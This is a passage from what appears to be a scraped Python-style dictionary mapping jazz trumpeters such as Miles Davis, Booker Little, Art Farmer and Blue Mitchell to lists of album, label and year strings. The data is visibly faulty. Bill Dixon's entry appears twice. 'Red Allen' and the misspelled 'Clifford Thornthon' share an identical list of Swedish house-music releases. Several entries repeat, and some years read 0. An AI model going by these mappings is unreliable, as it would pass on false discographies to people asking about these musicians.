6--Curcio--1980','\\\nEl Corazón--ECM Records--1982','\\\nMusic / Sangam--Europa Records--1982','\\\nBitter Funeral Beer--ECM Records--1982','\\\nThe Ballad Of The Fallen--ECM Records--1983','\\\nHome Boy (Sister Out)--Barclay--1985','\\\nTamma With Don Cherry & Ed Blackwell--Odin--1985','\\\nForgotten Tales--Vent Du Sud--1985','\\\nArt Deco--A&M Records--1989','\\\nMultikulti--A&M Records--1990','\\\nLenox School Of Jazz--Atlantic--1959'),'\\\nBILL DIXON':('\\\nThe Archie Shepp-Bill Dixon Quartet--Savoy Records--1962','\\\nOpium For Franz--Pipe Records--1977','\\\nIn Italy - Volume One--Soul Note--1980','\\\nIn Italy - Volume Two--Soul Note--1981','\\\nNovember 1981--Soul Note--1982','\\\nCollection--Cadence Jazz Records--1985','\\\nThoughts--Soul Note--1987','\\\nSon Of Sisyphus--Soul Note--1990','\\\nBill Dixon With Exploding Star Orchestra--Thrill Jockey--2008','\\\nBill Dixon 7-Tette / Archie Shepp And The New York Contemporary 5--Savoy Records--1964','\\\nThe Archie Shepp-Bill Dixon Quartet--Savoy Records--1962','\\\nBill Dixon 7-Tette / Archie Shepp And The New York Contemporary 5--Savoy Records--1964','\\\nThe Dragon Suite--Savoy Records--1968','\\\nThe Marzette Watts Ensemble--Savoy Records--1969','\\\nThe Archie Shepp-Bill Dixon Quartet--Savoy Records--1962','\\\nVol. 2.--Sonet--1964','\\\nBill Dixon 7-Tette / Archie Shepp And The New York Contemporary 5--Savoy Records--1964','\\\nVol. 1.--Sonet--1964','\\\nConsequences--Fontana--1966','\\\nConquistador!--Blue Note--1966','\\\nIntents And Purposes--RCA Victor--1967','\\\nThe Dragon Suite--Savoy Records--1968','\\\nWay Head--BYG Records--1969','\\\nThe Marzette Watts Ensemble--Savoy Records--1969','\\\nArchie Shepp + The New York Contemporary Five--Storyville--1972'),'\\\nMiles Davis':('\\\nGoin To Mintons / Half-Nelson--Savoy Records--1947','\\\nBuzzy--Savoy Records--1947','\\\nBongo Bop / Embraceable You--Dial Records (3)--1948','\\\nBudo / Move--Capitol Records--1949','\\\nThe New Sounds--Prestige--1951','\\\nYesterdays / Duet For Saxophone And Guitar--Prestige--1951','\\\nModern Jazz Trumpets--Prestige--1951','\\\nChance It / Yesterdays--Blue Note--1952','\\\nThe Modern Idiom--Capitol Records--1952','\\\nYoung Man With A Horn--Blue Note--1952','\\\nOriginators Of Modern Jazz--Vogue Productions--1952','\\\nMiles Davis Plays The Compositions Of Al Cohn--Prestige--1953','\\\nBlue Period--Prestige--1953','\\\nVol. 2--Blue Note--1953','\\\nCool And Quiet--Capitol Records--1953','\\\nClassics In Jazz --Capitol Records--1954','\\\nMiles Davis With Sonny Rollins--Prestige--1954','\\\nVol. 3--Blue Note--1954','\\\nClassics In Jazz Part 1--Capitol Records--1954','\\\nClassics In Jazz Part 2--Capitol Records--1954','\\\nVolume 1--Blue Note--1955','\\\nBlue Moods--Debut Records--1955','\\\nThe Leap--Blue Note--1956','\\\nDig--Prestige--1956','\\\nMiles Davis And Horns--Prestige--1956','\\\nConception--Prestige--1956','\\\nMiles Davis Quartet--Prestige--1954','\\\nCollectors\\' Items--Prestige--1956','\\\nVolume 2--Blue Note--1956','\\\nQuintet / Sextet--Prestige--1956','\\\n\\'Round About Midnight--Columbia--1957','\\\nBrass In Modern Jazz--Philips--1957','\\\nMiles Ahead--Columbia--1957','\\\nMiles Davis And Milt Jackson All Star Quintet--Metronome--1957','\\\nSounds Of Jazz--Fontana--1957','\\\nBirth Of The Cool--Capitol Records--1957','\\\nBags Groove--Prestige--1957'),'\\\nBOOKER LITTLE':('\\\nBooker Little--Time Records (3)--1960','\\\nOut Front--Candid--1961','\\\nBooker Little And Friend*--Bethlehem Records--1961','\\\nFar Cry--New Jazz--1962','\\\nMemorial Album Recorded Live At The Five Spot--Prestige--1965','\\\nDeeds, Not Words--Riverside Records--1958','\\\nMetronome Presents Jazz In The Garden At The Museum Of Modern Art--Warwick--1960','\\\nBooker Little 4 & Max Roach--United Artists Records--1959','\\\nFantastic Frank Strozier--Vee Jay Records--1960','\\\nAt The Five Spot Volume 2--Prestige--1963','\\\nThe Soul Of Jazz Percussion--Warwick--1960','\\\nDeeds, Not Words--Riverside Records--1958','\\\nDeeds, Not Words--Riverside Records--1958','\\\nMax Roach + 4 On The Chicago Scene--Emarcy--1958','\\\nMax Roach + 4 At Newport--EmArcy--1958','\\\nDown Home Reunion--United Artists Records--1959','\\\nSings--Vee Jay Records--1959','\\\nBooker Little 4 & Max Roach--United Artists Records--1959','\\\nWe Insist! Max Roach\\'s Freedom Now Suite--Candid--1960','\\\nThe Soul Of Jazz Percussion--Warwick--1960','\\\nMetronome Presents Jazz In The Garden At The Museum Of Modern Art--Warwick--1960','\\\nAward-Winning Drummer--Time Records (3)--1960','\\\nFantastic Frank Strozier--Vee Jay Records--1960','\\\nStraight Ahead--Candid--1961','\\\nAt The Five Spot, Volume 1.--Prestige--1961','\\\nAfrica / Brass--Impulse!--1961','\\\nNewport Rebels--Candid--1961','\\\nAnd His Horn Of Plenty--Strand Records (2)--1961','\\\nPercussion Bitter Sweet--Impulse!--1961','\\\nAt The Five Spot Volume 2--Prestige--1963','\\\nThe Many Sides Of Max--Mercury--1964','\\\nHere And There--Prestige--1966','\\\nFar Cry--New Jazz--1962','\\\nThe Best Of John Coltrane - His Greatest Years--Impulse!--1970','\\\nThe Great Concert Of Eric Dolphy--Prestige--1974','\\\nThe Best Of John Coltrane - His Greatest Years, Vol. 2--Impulse!--1972','\\\nImpulse Energy Essentials (A Developmental And Historical Introduction To The New Music)--Impulse!--1972','\\\n25 Years Of Prestige--Prestige--1974'),'\\\nBILL DIXON':('\\\nThe Archie Shepp-Bill Dixon Quartet--Savoy Records--1962','\\\nOpium For Franz--Pipe Records--1977','\\\nIn Italy - Volume One--Soul Note--1980','\\\nIn Italy - Volume Two--Soul Note--1981','\\\nNovember 1981--Soul Note--1982','\\\nCollection--Cadence Jazz Records--1985','\\\nThoughts--Soul Note--1987','\\\nSon Of Sisyphus--Soul Note--1990','\\\nBill Dixon With Exploding Star Orchestra--Thrill Jockey--2008','\\\nBill Dixon 7-Tette / Archie Shepp And The New York Contemporary 5--Savoy Records--1964','\\\nThe Archie Shepp-Bill Dixon Quartet--Savoy Records--1962','\\\nBill Dixon 7-Tette / Archie Shepp And The New York Contemporary 5--Savoy Records--1964','\\\nThe Dragon Suite--Savoy Records--1968','\\\nThe Marzette Watts Ensemble--Savoy Records--1969','\\\nThe Archie Shepp-Bill Dixon Quartet--Savoy Records--1962','\\\nVol. 2.--Sonet--1964','\\\nBill Dixon 7-Tette / Archie Shepp And The New York Contemporary 5--Savoy Records--1964','\\\nVol. 1.--Sonet--1964','\\\nConsequences--Fontana--1966','\\\nConquistador!--Blue Note--1966','\\\nIntents And Purposes--RCA Victor--1967','\\\nThe Dragon Suite--Savoy Records--1968','\\\nWay Head--BYG Records--1969','\\\nThe Marzette Watts Ensemble--Savoy Records--1969','\\\nArchie Shepp + The New York Contemporary Five--Storyville--1972'),'\\\nFREDDIE KEPPARD':('\\\nNew Orleans Horns--Milestone (4)--1970','\\\nLouis Armstrong With The Red Onion Jazz Babies & Freddie Keppard With Doc Cook\\'s Dreamland Orchestra--Fountain Records (5)--1973','\\\nFreddie Keppard 1923-1928--no label--1992','\\\nFreddie Keppard•Kid Ory•Johnny Dodds•Mutt Carey•Willie Hightower•Ernest Coycault... 1922-1928--no label--1993','\\\nThe Complete Set: 1923 - 1926--Retrieval--1999','\\\nStock Yards Strut / Salty Dog--Paramount--1926','\\\nVolume 2--London Records--1954','\\\nThe Sound Of Chicago (1923-1940)--Columbia--1964','\\\nThe Sound Of New Orleans (1917-1947)--Columbia--1964','\\\nPioniere Des Jazz--AMIGA--1965','\\\nThe Immortal Johnny Dodds--Milestone (4)--1987','\\\nDigital Date--Philips--1987','\\\nYazoo\\'s History Of Jazz--Yazoo--1984','\\\n1926--Classics (11)--1991','\\\nComplete Recorded Works In Chronological Order Volume 1 (14 May 1926 to 22 July 1929)--Document Records (2)--1994','\\\nNew Orleans--ABC Records (3)--1984'),'\\\nRED NICHOLS':('\\\nThe Five Pennies - Part 1--London Records--0','\\\nLullaby In Ragtime / Battle Hymn Of The Republic--Dot Records--1959','\\\nMeet The Five Pennies--Capitol Records--1959','\\\nDrum Crazy (The Gene Krupa Story)--no label--1960','\\\nJazz Panorama Of The Twenties Vol. 2--International Joker Production--1971','\\\nSessions, Live--Calliope (3)--1976','\\\nGreat Original Performances - 1925 To 1930--ABC Records (3)--1987'),'\\\nRED ALLEN':('\\\nStockholm By Night--Svek--1997','\\\nCity Of Islands--Svek--1998','\\\nPleasure--Svek--1998','\\\nMorgon Sol--Svek--1998','\\\nAutumn Leaves EP--Concrete Music (4)--2013','\\\nFusion Of Thoughts--Stockholm LTD--2013','\\\nSkargard--Templar (3)--2015','\\\nVårblommor--Tardis Records (2)--2015','\\\nLoves You All Night And Day--Raw Elements--1997','\\\nThe Big Bang Theory--Svek--1997','\\\nDiskophrenia Remixes--Svek--1998','\\\nLive At Robert Johnson--Live At Robert Johnson--2010','\\\nSun Trip - Fifth--Playdoe--1998'),'\\\nJABBO SMITH':('\\\nThe Trumpet Ace Of The Twenties - Volume One--Melodeon--0','\\\nThe Ace Of Rhythm 1929 --MCA Records--1982','\\\nJabbo Smith, 1929-1938--Retrieval--1996','\\\nVolume Two--Melodeon--0','\\\nGot Butter On It / Ready Hokum--Brunswick--1929','\\\nGot Butter On It / Ready Hokum--Brunswick--1929','\\\nRhythm In Spain / More Rain More Rest--Decca--1938','\\\nJungle Jamboree (Ellingtonia 1927-1930)--Parlophone--1961','\\\nThe Sound Of Chicago (1923-1940)--Columbia--1964','\\\nRare And Hot ! 1925-1930--Historical Records--1967','\\\nThe Ace Of Rhythm --Ace Of Hearts--1968','\\\nAbide With Me--Futura Records (2)--1971','\\\nBlues, Stomp, Boogie--Telefunken--1973','\\\nThe Complete Duke Ellington Vol.1 1925-1928--CBS--1973','\\\nThe Joint Is Jumpin\\'--Ember Records--1973','\\\nMemorial--CBS--1974','\\\nJubilesta--WAM--1977','\\\n20 Golden Pieces Of Fats Waller--Bulldog Records--1978'),'\\\nBOBBY HACKETT':('\\\nThe Man With The Horn / More Than You Know--Decca--1948','\\\nNight In Manhattan--Columbia--1950','\\\nJazz Session--Columbia--1950','\\\nTrumpet Solos With Bill Challis--Brunswick--1950','\\\nI Don\\'t Stand A Ghost Of A Chance With You / I\\'m Lucky I Have You--Decca--1951','\\\nIn A Mellow Mood (Part 1)--Capitol Records--1955','\\\nSoft Lights And Bobby Hackett--Capitol Records--1954','\\\nIn A Mellow Mood--Capitol Records--1955','\\\nRendezvous--Capitol Records--1957','\\\nJazz Ultimate--Capitol Records--1958','\\\nDon\\'t Take Your Love From Me--Capitol Records--1958','\\\nBlues With A Kick--Capitol Records--1959','\\\nDream Awhile--Columbia--1961','\\\nHawaii Swings--Capitol Records--1960','\\\nThe Most Beautiful Horn In The World--Columbia--1962','\\\nJazz Concert--Goodyear--1962','\\\nNight Love--Columbia--1962','\\\nBobby Hackett Plays Henry Mancini--Epic--1963','\\\nPlays The Music Of Bert Kaempfert--Epic--1964','\\\nHello Louis! - Plays The Music Of Louis Armstrong--Epic--1964','\\\nBobby Hackett Plays The Music Of Bert Kaempfert--Epic--1964','\\\nEra Of The Swing Trumpet--Mainstream Records--1964'),'\\\nCOOTIE WILLIAMS':('\\\nTea And Trumpets--no label--1957','\\\nRinky Dink / Please Give Your Love To Me--RCA Victor--1957','\\\nThe Big Challenge--Jazztone (2)--1957','\\\nAround Midnight--Jaro International--1959','\\\nPorgy & Bess Revisited--Warner Bros. Records--1959','\\\nCootie--Decca--1959','\\\nDo Nothing Till You Hear From . . . Cootie--Warwick--1960','\\\nThe Solid Trumpet Of Cootie Williams--Moodsville--1962','\\\nEra Of The Swing Trumpet--Mainstream Records--1964','\\\nHodge Podge--Epic--1968','\\\nBig Band Bounce--Capitol Records--1972','\\\nI Giganti Del Jazz Vol. 12--Curcio--1980','\\\nCootie Williams In Hi-Fi--RCA Victor--1958','\\\nEllington Sidemen--Philips--0','\\\nCootie And The Boys From Harlem--Tax--0','\\\nCootie Williams Sextet And Orchestra--Phoenix Records (8)--0','\\\nThree Little Words / Ring Dem Bells--Victor--1930'),'\\\nSHORTY ROGERS':('\\\nNew Directions 3--Prestige--1953','\\\nShorty Rogers Courts The Count--RCA Victor--1954','\\\nShorty Rogers And The Lighthouse All Stars--Tampa Records--0','\\\nVoodoo Suite Plus Six All-Time Greats--RCA Victor--1955','\\\nCollaboration--RCA Victor--1955','\\\nBud Shank - Shorty Rogers - Bill Perkins--Pacific Jazz--1955','\\\nJazz Composers Workshop--Savoy Records--1955','\\\nCollaboration West--Prestige--1956','\\\nThe Big Shorty Rogers Express--RCA Victor--1956','\\\nLoaded--Savoy Records--1956','\\\nLotus Bud--Vogue Productions--1956','\\\nEvolution--Prestige--1957','\\\nAfro-Cuban Influence--RCA Victor--1958','\\\n\\'Cause I Love You, That\\'s Why / Walk The Bebop Walk--Rca--1959','\\\nShorty Rogers Meets Tarzan--MGM Records--1959','\\\nThe Swingin\\' Nutcracker--RCA Victor--1960','\\\nBeachcomber / Autumn Blues--ATCO Records--1960','\\\nThe Fourth Dimension In Sound--Warner Bros. Records--1962','\\\nMavis Meets Shorty--Reprise Records--1963','\\\nGospel Mission--Capitol Records--1963','\\\nModern Sounds--Capitol Records--1956','\\\nThe Swinging Mr. Rogers--Atlantic--1955','\\\nPopo--Xanadu Records--1980','\\\nYesterday, Today And Forever--Concord Jazz--1983','\\\nChances Are It Swings--RCA Victor--1959','\\\nBack Again--Choice (7)--1984','\\\nCalifornia Concert--Contemporary Records--1985','\\\nArrangements By Shorty Rogers--RCA Victor--1955','\\\nThe Complete Atlantic And EMI Jazz Recordings Of Shorty Rogers--Mosaic Records (2)--1989','\\\nSwings--RCA--1991','\\\nWest Coast Jazz--EPM Zeta--1990','\\\nAmerica The Beautiful--Candid--1991','\\\nEight Brothers--Candid--1992'),'\\\nART FARMER':('\\\nCliff Brown + Art Farmer With The Swedish All Stars (Vol. 1)--Metronome--1953','\\\nCliff Brown + Art Farmer With The Swedish All Stars (Vol. 2)--Metronome--1954','\\\nGigi Gryce · Thelonious Monk · Percy Heath · Art Blakey · Horace Silver · Art Farmer · Kenny Clarke · Cecil Payne · Jimmy Cleveland · Oscar Pettiford · Julius Watkins--Signal (3)--1955','\\\nArt Farmer Plays--Prestige--1955','\\\nBennie Green (With Art Farmer)--Prestige--1956','\\\n2 Trumpets--Prestige--1956','\\\nLast Night When We Were Young--ABC-Paramount--1957','\\\nThree Trumpets--Prestige--1957','\\\nTrumpets All Out--Savoy Records--1957','\\\nFarmer\\'s Market--Prestige--1958','\\\nPortrait Of Art Farmer--Contemporary Records--1958','\\\nModern Art--United Artists Records--1958','\\\nAlabama Concerto--Riverside Records--1959','\\\nThe Jazz Combo From I Want To Live!--United Artists Records--1958','\\\nBrass Shout--United Artists Records--1959','\\\nEddie Costa Quintet--Mode Records--1957','\\\nArt--Argo (6)--1960','\\\nEasy Living / Serenata--Argo (6)--0','\\\nMeet The Jazztet--Argo (6)--1960','\\\nEarly Art--New Jazz--1961','\\\nMy Funny Valentine / Blues On Down--Argo (6)--1961','\\\nBig City Sounds--Argo (6)--1961','\\\nThe Jazztet And John Lewis--Argo (6)--1961','\\\nArt Farmer Quintet Featuring Gigi Gryce--Prestige--1956','\\\nListen To Art Farmer And The Orchestra--Mercury--1963','\\\nBossa Nova York--Elenco--1964','\\\nThe Many Faces Of Art Farmer--Scepter Records--1964','\\\nTrumpets All Out--Prestige--1964','\\\nThe Art Farmer Septet--Prestige--1956','\\\nBaroque Sketches--Columbia--1967','\\\nWhat Happens ?...--Campi-Editore Recording--1968','\\\nHomecoming--Mainstream Records--1971','\\\nTo Sweden With Love--Atlantic--1964','\\\nGentle Eyes--Mainstream Records--1972','\\\nFarmer\\'s Market--Prestige--1974','\\\nA Sleeping Bee--Grammofonverket--1974'),'\\\nTOMMY TURRENTINE':('\\\nTommy Turrentine--Time Records (3)--1960','\\\nThe Natural Soul--Blue Note--1963','\\\nLeapin\\' And Lopin\\'--Blue Note--1962','\\\nIn The Land Of Hi-Fi--EmArcy--1956','\\\nQuiet As It\\'s Kept--Mercury--1959','\\\nAbbey Is Blue--Riverside Records--1959','\\\nRich Versus Roach--Mercury--1959','\\\nParisian Sketches--Mercury--1960','\\\nMoon Faced And Starry Eyed--Mercury--1960','\\\nSpeakin\\' My Piece--Blue Note--1960','\\\n1st Bassman--Vee Jay Records--1960','\\\nThe Book Cooks--Bethlehem Records--1961','\\\nOn The Spur Of The Moment--Blue Note--1961','\\\nThe Music Of Ahmed Abdul-Malik--New Jazz--1961','\\\nA Fickle Sonance--Blue Note--1961','\\\nThat\\'s Where It\\'s At--Blue Note--1962','\\\nLeapin\\' And Lopin\\'--Blue Note--1962','\\\nSounds Of Africa--New Jazz--1962','\\\nFunky Mama--Blue Note--1962','\\\nSignifyin\\'--Argo (6)--1963','\\\nUp & Down--Blue Note--1963','\\\nThe Natural Soul--Blue Note--1963','\\\nFive On Eight--Cameo--1964','\\\nLeonard Feather\\'s Encyclopedia Of Jazz/Jazz Of The \\'60\\'s Vol. #1: Giants Of The Saxophones--Vee Jay Records--1964','\\\nMama Too Tight--Impulse!--1967','\\\nNever Let Me Go--Blue Note--1963','\\\nAlways Something There--Blue Note--1968','\\\nHot Dog--Blue Note--1969','\\\nHa\\' Mercy--Cadet--1971','\\\nImpulse Energy Essentials (A Developmental And Historical Introduction To The New Music)--Impulse!--1972','\\\nHave You Ever Seen The Rain--Fantasy--1975','\\\nThe Man With The Sad Face--Fantasy--1976','\\\nBoth Sides--Mercury--1976','\\\nBeginnings--Mercury--1976','\\\nMean What You Say--Sonet--1977','\\\nNightwings--Fantasy--1977','\\\nJubilee Shouts--Blue Note--1978','\\\nAgain--BYG Records--0','\\\nLandslide--Blue Note--1980','\\\nAgain Volume Two--Affinity--1980','\\\nI Giganti Del Jazz Vol. 35--Curcio--1981','\\\nI Giganti Del Jazz Vol. 44--Curcio--0','\\\nLong As You\\'re Living--Enja Records--1984','\\\nEuropean Tour--Denon--1985','\\\nBlue John--Blue Note--1986'),'\\\nJOE GORDON':('\\\nJazzmessengers + Joe Gordon Plays Doug\\'s Blues I & II--Sonet--0','\\\nIntroducing Joe Gordon--EmArcy--1955','\\\nThe Jazz School--Wing Records--1955','\\\nLookin\\' Good--Contemporary Records--1961','\\\nWest Coast Days - Live At The Lighthouse--Fresh Sound Records--1992','\\\nBlakey--EmArcy--1955','\\\nByrd\\'s Eye View--Transition--1955','\\\nWorld Statesman--Norgran Records--1956','\\\nSilver\\'s Blue--Epic--1956','\\\nWorld Statesman--Karusell--1957','\\\nDizzy In Greece--Verve Records--1957','\\\nLife Is A Many Splendored Gig--Roulette--1958','\\\nSome Like It Hot--Contemporary Records--1959','\\\nSon Of Gunn!!--Contemporary Records--1959','\\\nAspects--United Artists Records--1959','\\\nAt The Blackhawk--Riverside Records--1960','\\\nHelen Humes--Contemporary Records--1960','\\\nAt The Black Hawk, Vol. 2--Contemporary Records--1960','\\\nAt The Black Hawk, Vol. 3--Contemporary Records--1960','\\\nAt The Black Hawk Vol. 1--Contemporary Records--1960','\\\nAt The Black Hawk, Vol. 4--Contemporary Records--1960','\\\nWest Coast Blues!--JAZZLAND--1960','\\\nDo-Re-Mi (A Modern Interpretation Of The Hit Broadway Musical)--Capitol Records--1961','\\\nThe Proper Time--Contemporary Records--1961','\\\nThe Happy Bird--Charlie Parker Records--1961','\\\nSwingin\\' With Humes--Contemporary Records--1961','\\\nThe Soul Of Jazz - 1961--Riverside Records--1961','\\\nThe Compositions of Charlie Parker--Riverside Records--1962','\\\nAwakening!!--Contemporary Records--1962','\\\nGo!--Fontana--1964','\\\nThe Essential Dizzy Gillespie--Verve Records--1964','\\\nJazz Spectrum Vol. 11--Metro Records--1973','\\\nIn Person--Milestone (4)--1976','\\\nJazz Power - The Power In Music--Verve Records--0','\\\nJazz Women (A Feminist Retrospective)--Stash--1977','\\\nThe Trip--Contemporary Records--1977','\\\nEuropa Jazz--Europa Jazz--1981'),'\\\nCARMELL JONES':('\\\nThe Remarkable Carmell Jones--Pacific Jazz--1961','\\\nBusiness Meetin\\'--Pacific Jazz--1962','\\\nBrass Bag--Pacific Jazz--1962','\\\nJay Hawk Talk--Prestige--1965','\\\nThe Hip Walk--SABA--1965','\\\nJay Hawk Talk--Prestige--1965','\\\nBebop Revisited!--Prestige--1965','\\\nRecorded At The Tenth German Jazz Festival In Frankfurt--SABA--1966','\\\nNew Groove--Pacific Jazz--1961','\\\nBlues Groove--Fontana--1961','\\\nGroovin\\' Blue--Pacific Jazz--1961','\\\nYou Better Believe It!--Pacific Jazz--1961','\\\nBarefoot Adventure--Pacific Jazz--1961','\\\nNew Groove--Pacific Jazz--1961','\\\nHear Ye!!!! Hear Ye!!!!--Atlantic--1962','\\\nBirdcall--United Artists Jazz--1962','\\\nMoment Of Truth--Pacific Jazz--1962','\\\nJazz Impressions Of Folk Music--Imperial--1963','\\\nConflict--Contemporary Records--1963','\\\nSoviet Jazz Themes--Ava--1963','\\\nSong For My Father (Cantiga Para Meu Pai)--Blue Note--1964','\\\nPortraits--Pacific Jazz--1964','\\\nThe Blues Book--Prestige--1965','\\\nSong For My Father--Blue Note--1965','\\\nBig City--Palomar--1965','\\\nLatin Mann (Afro To Bossa To Blues)--Columbia--1965','\\\nSong For My Father--Blue Note--1965','\\\nGroovin\\' High--Prestige--1966','\\\nJazz 66--Supraphon--1967','\\\nMore Than Meets The Ear--World Pacific Jazz--1968','\\\nPietoso--Supraphon--1969','\\\nBerlin Dialogue For Orchestra--Flying Dutchman--1971'),'\\\nDIZZY REECE':('\\\nProgress Report--Tempo Records (5)--1956','\\\nChanging the Jazz at Buckingham Palace--Savoy Records--1957','\\\nBlues In Trinity--Blue Note--1958','\\\nTransatlantic Alliance--Tempo Records (5)--1958','\\\nStar Bright--Blue Note--1959','\\\nSoundin\\' Off--Blue Note--1960','\\\nAsia Minor--New Jazz--1962','\\\nFrom In To Out--Futura Records (2)--1970','\\\nBlowin\\' Away--Interplay Records--1978','\\\nEnglish Jazz--Bally--1956','\\\nIn London Vol. 2 Big Band--Tempo Records (5)--1957','\\\nSuite Sixteen--Contemporary Records--1958','\\\nFlight To Jordan--Blue Note--1960','\\\n20th And 30th Anniversary--MPS Records--1969','\\\nA Day In Copenhagen--MPS Records--1969','\\\nThe Flip--Blue Note--1969','\\\nSwings High--Melodisc (3)--1970','\\\nInterjazz 2--Supraphon--1974','\\\nInward Fire--Muse Records--1978','\\\nIt\\'s Easy To Remember--Matra (2)--1979','\\\nRound Midnight--Lotus--1980','\\\nAfricaine--Blue Note--1981','\\\nBlowin\\' Away--Interplay Records--1978','\\\nFrench Cooking--Gazell (2)--1985'),'\\\nCLIFFORD THORNTHON':('\\\nStockholm By Night--Svek--1997','\\\nCity Of Islands--Svek--1998','\\\nPleasure--Svek--1998','\\\nMorgon Sol--Svek--1998','\\\nAutumn Leaves EP--Concrete Music (4)--2013','\\\nFusion Of Thoughts--Stockholm LTD--2013','\\\nSkargard--Templar (3)--2015','\\\nVårblommor--Tardis Records (2)--2015','\\\nLoves You All Night And Day--Raw Elements--1997','\\\nThe Big Bang Theory--Svek--1997','\\\nDiskophrenia Remixes--Svek--1998','\\\nLive At Robert Johnson--Live At Robert Johnson--2010','\\\nSun Trip - Fifth--Playdoe--1998'),'\\\nLESTER BOWIE':('\\\nNumbers 1&2--Nessa Records--0','\\\nFast Last!--Muse Records--1974','\\\nUnder The Sun--Not On Label--1974','\\\nRope-A-Dope--Muse Records--1976','\\\nDuet--Improvising Artists Inc.--1978','\\\nThe 5th Power--Black Saint--1978','\\\nNew Directions--ECM Records--1978','\\\nThe Great Pretender--ECM Records--1981','\\\nAll The Magic!--ECM Records--1983','\\\nBugle Boy Bop--Muse Records--1983','\\\nDuet--Paddle Wheel--1985','\\\nZebra--Pan Music (2)--1986','\\\nThe Ritual--Sound Aspects Records--1986','\\\nSacred Love--Sound Aspects Records--1988','\\\nWorks--ECM Records--1988','\\\nNot Two--GOWI Records--1995','\\\nTalkin\\' About Life And Death--Biodro Records--1999','\\\nSelected Recordings--ECM Records--2002','\\\nI Only Have Eyes For You--ECM Records--1985','\\\nTwilight Dreams--Venture--1987','\\\nMusic Without Frontiers--Venture--1987','\\\nThe Fire This Time--In+Out Records--1992','\\\nStolen Moments: Red Hot + Cool--GRP--1994','\\\nThe Odyssey Of Funk & Popular Music Vol.1--Atlantic--1998','\\\nWhen The Spirit Returns--Warner Music France--2000','\\\nI Only Have Eyes For You --ECM Records--1985','\\\nTwilight Dreams--Venture--1987','\\\nThe Odyssey Of Funk & Popular Music Vol.1--Atlantic--1998','\\\nWhen The Spirit Returns--Warner Music France--2000','\\\nSound--Delmark Records--1966','\\\nCongliptious--Nessa Records--1968'),'\\\nFats Navarro':('\\\nGoin To Mintons / Half-Nelson--Savoy Records--1947','\\\nOur Delight / The Squirrel--Blue Note--1948','\\\nModern Jazz Trumpets--Prestige--1951','\\\nJahbero / Lady Bird--Blue Note--1949','\\\nMemorial Album--Blue Note--1951','\\\nNew Sounds In Modern Music - Volume 1--Savoy Records--1952','\\\nOriginators Of Modern Jazz--Vogue Productions--1952','\\\nNew Trends Of Jazz, Vol. 5--Savoy Records--1952','\\\nFats-Bud-Klook-Sonny-Kinney--Savoy Records--0','\\\nThe Fabulous Fats Navarro Volume 2--Blue Note--1957','\\\nThe Fabulous Fats Navarro Volume 1--Blue Note--1957','\\\nOpus De Bop--Savoy Records--1957','\\\nNostalgia (Fats Navarro Memorial No. 2)--Savoy Records--1958','\\\nFats Navarro Featured With The Tadd Dameron Quintet--JAZZLAND--1961','\\\nTrumpet Giants--New Jazz--1964','\\\nFats Navarro Memorial Volume 1--CBS--1964','\\\nPrime Source--Blue Note--1975','\\\nBebop Revisited, Vol. 1--Xanadu Records--1975','\\\nJazz Off The Air (WNEW - 1947), Vol. 1--Esoteric (2)--1952','\\\nAt Their Rare Of All Rarest Performances Vol. 1--Kings Of Jazz--1975','\\\nFat Girl--Savoy Records--1977','\\\nFeatured With The Tadd Dameron Band--Milestone (4)--1977','\\\nBird & Fats Vol.1--Durium--1977','\\\nMaster Takes. The Savoy Recordings--Savoy Jazz--1985','\\\nFats Navarro--Giants Of Jazz--1986','\\\nAt The Royal Roost 1948 (Volume 1)--Beppo Records--0','\\\nRoyal Roost Sessions 1948--Fresh Sound Records--1991','\\\nThe Complete Blue Note And Capitol Recordings Of Fats Navarro And Tadd Dameron--Blue Note--1995','\\\nBlowing At The Royal Roost--Ediciones Del Prado--1996'),'\\\nBlue Mitchell':('\\\nBig 6--Riverside Records--1958','\\\nOut Of The Blue--Riverside Records--1959','\\\nSoul Time--Riverside Records--1960','\\\nBlue\\'s Moods--Riverside Records--1960','\\\nJunior\\'s Cookin\\'--Jazzland--1961','\\\nA Jazz Version Of Kean--Riverside Records--1961','\\\nSmooth As The Wind--Riverside Records--1961','\\\nLes McCann Ltd. In New York (Recorded Live At The Village Gate)--Pacific Jazz--1962','\\\nImages--Jazzland--1962','\\\nA Sure Thing--Riverside Records--1962','\\\nThe Cup Bearers--Riverside Records--1963','\\\nFungii Mama--Blue Note--1964','\\\nGiants Meeting--Riverside Records--1964','\\\nThe Thing To Do--Blue Note--1965','\\\nBring It Home To Me--Blue Note--1966','\\\nBoss Horn--Blue Note--1967','\\\nHeads Up!--Blue Note--1968','\\\nCollision In Black--Blue Note--1969','\\\nBantu Village--Blue Note--1969','\\\nH.N.I.C.--Blue Note--1969','\\\nSwahilli Suite / Collision In Black--Blue Note--1969','\\\nBlue Mitchell--Mainstream Records--1971','\\\nSoul Village / Queen Bey--Mainstream Records--1971','\\\nVital Blue--Mainstream Records--1971','\\\nBlues\\' Blues--Mainstream Records--1972','\\\nGraffiti Blues--Mainstream Records--1973','\\\nGraffiti Blues--Mainstream Records--1973','\\\nThe Last Tango=Blues--Mainstream Records--1973','\\\nLast Tango In Paris / Queen Bey--Mainstream Records--1973','\\\nMany Shades Of Blue--Mainstream Records--1974','\\\nJazz--Mainstream Records--1974','\\\nBooty--Mainstream Records--1974','\\\nStratosonic Nuances--RCA--1975','\\\nCreepin\\'--RCA--1975','\\\nThe Soul Society--Riverside Records--1960','\\\nI\\'m In Heaven--RCA Victor--1976','\\\nAfrican Violet--ABC Impulse!--1977','\\\nSilver Blue--Xanadu Records--1977','\\\nTrue Blue--Xanadu Records--1977','\\\nSummer Soft--ABC Records--1978','\\\nStep Lightly--Blue Note--1980','\\\nBlues On My Mind - The Riverside Collection--Original Jazz Classics--1988'),'\\\nKenny Dorham':('\\\nModern Jazz Trumpets--Prestige--1951','\\\nSonny Rollins Quintet--Prestige--1954','\\\nAfro-Cuban--Blue Note--1955','\\\nRollins Plays For Bird--Prestige--1956','\\\n\\'Round About Midnight At The Cafe Bohemia--Blue Note--1956','\\\nJazz Contrasts--Riverside Records--1957','\\\nThis Is The Moment - Sings And Plays--Riverside Records--1958','\\\nQuiet Kenny--New Jazz--1959','\\\nEastward Ho! Harold Land In New York--JAZZLAND--1960','\\\nThe Arrival Of Kenny Dorham--Jaro International--1960','\\\nJazz Contemporary--Time Records (3)--1960','\\\nWhistle Stop--Blue Note--1961','\\\nKenny Dorham And Friends--JAZZLAND--1962','\\\nMatador--United Artists Jazz--1962','\\\nInta Somethin\\'--Pacific Jazz--1962','\\\nUna Mas (One More Time)--Blue Note--1963','\\\nJazz At P.S. 175--Harlem Youth Unlimited Records--1964','\\\nMamacita--Blue 